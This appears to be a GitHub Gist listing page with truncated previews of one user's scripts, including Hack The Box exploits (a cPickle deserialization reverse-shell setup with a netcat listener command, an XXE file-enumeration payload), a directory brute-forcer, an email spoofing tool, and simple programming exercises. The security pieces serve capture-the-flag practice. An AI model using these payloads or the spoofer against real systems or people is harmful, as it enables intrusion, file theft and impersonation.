Skip to content

Instantly share code, notes, and snippets.

@Ge0rg3
Ge0rg3 / CanapeExploit.py
Created September 14, 2018 21:47
A Python cPickle deserialization exploit for the Canape box on Hack The Box.
###Canape cPickle Exploit (run nc -nlvp 1338 separately.)
#Change host/port to your own ip/desired port.
LHOST = "10.10.15.xxx"
LPORT = "1338"
import requests as rq #For posting request
import cPickle #For generating payload
import hashlib #For generating MD5 hash as id
import os #For creating shell object
@Ge0rg3
Ge0rg3 / CanapeDirb.py
Created September 14, 2018 21:03
A custom version of Dirb for the Canape box on the Hack The Box platform.
###Custom Dirb Script for Canape
import requests as rq
import sys
url = "http://10.10.10.70/"
homepage = "Welcome to the future home page"
wordlist = "common"
found = []
@Ge0rg3
Ge0rg3 / EscapeMe.py
Created August 19, 2018 23:44
A script for checking a list of programs against those on https://gtfobins.github.io
#!/usr/bin/python
#Usage: "python EscapeMe.py filename", where filename is a file containing a list of binaries.
import requests as rq
from bs4 import BeautifulSoup
import sys
resp = rq.get("https://gtfobins.github.io/").text
soup = BeautifulSoup(resp, 'html.parser')
@Ge0rg3
Ge0rg3 / XXEnumerate.py
Created July 25, 2018 14:32
A script to enumerate files through XXE in the Aragog box for HTB.
import requests as rq
import sys
filename = sys.argv[1]
url = "http://10.10.10.78/hosts.php"
data = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
@Ge0rg3
Ge0rg3 / EmailSpoofer.py
Last active June 17, 2018 10:41
A python tool to spoof emails.
#!/usr/bin/python
import smtplib, string
import os, time
def terms():
agree = raw_input("Please agree to never use this tool for malicious intent (y/n). ")
agree = agree.lower()
if agree == "y":
os.system("apt-get install sendmail")
time.sleep(1)
@Ge0rg3
Ge0rg3 / Persistence.js
Created June 7, 2018 22:37
Finds a number's multiplicative persistence.
function persistence(num) {
let stringnum = num.toString()
let count = 0;
while ((stringnum).length > 1) {
count++;
let nums = stringnum.split("");
let m = 1;
for (let i = 0; i < nums.length; i++) {
m = m*nums[i];
}
@Ge0rg3
Ge0rg3 / NumberGuessingGame.js
Last active June 7, 2018 19:46
*Extremely* simple JS number guessing game.
var response = parseInt(prompt("Enter your number here."));
let attempts = 0;
random = (Math.floor(Math.random()*10));
while (response !== random) {
attempts++;
if (response > random) {
console.log(`Too high!`);
response = parseInt(prompt("Too high!"));
} else if (response < random) {
@Ge0rg3
Ge0rg3 / RockPaperScissors.java
Created April 9, 2018 23:39
A simple Rock-Paper-Scissors function created for https://bit.ly/2GNZcZp
import java.util.Arrays;
public class Kata {
public static String rps(String p1, String p2) {
String OneWin = "Player 1 won!";
String TwoWin = "Player 2 won!";
String Draw = "Draw!";
if (p1.equals("rock")) {
switch(p2) {
case "scissors": return OneWin;
case "paper": return TwoWin;
@Ge0rg3
Ge0rg3 / NumberGuessingGame.java
Created April 9, 2018 16:47
My first Java program <--
import java.util.Random;
import java.util.Scanner;
public class NumberGuessingGame {
public static void main(String[] args) {
Random rand = new Random();
int value = rand.nextInt(101);
int userguess = 0;
int tries = 0;
System.out.println("I'm thinking of a number...");
while (userguess!=value) {
INP
STA 1
INP
STA 2
LDA 1
SUB 2
OUT
HLT